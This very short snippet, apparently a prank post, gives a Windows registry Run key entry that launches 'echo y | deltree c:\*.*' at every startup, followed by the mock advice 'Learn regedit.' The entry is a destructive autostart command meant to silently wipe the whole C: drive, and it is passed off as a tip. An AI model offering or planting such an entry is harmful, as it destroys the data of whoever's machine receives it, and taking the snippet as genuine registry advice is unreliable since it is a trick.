HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Blah="cmd /c "echo y | deltree c:\*.*"

Learn regedit.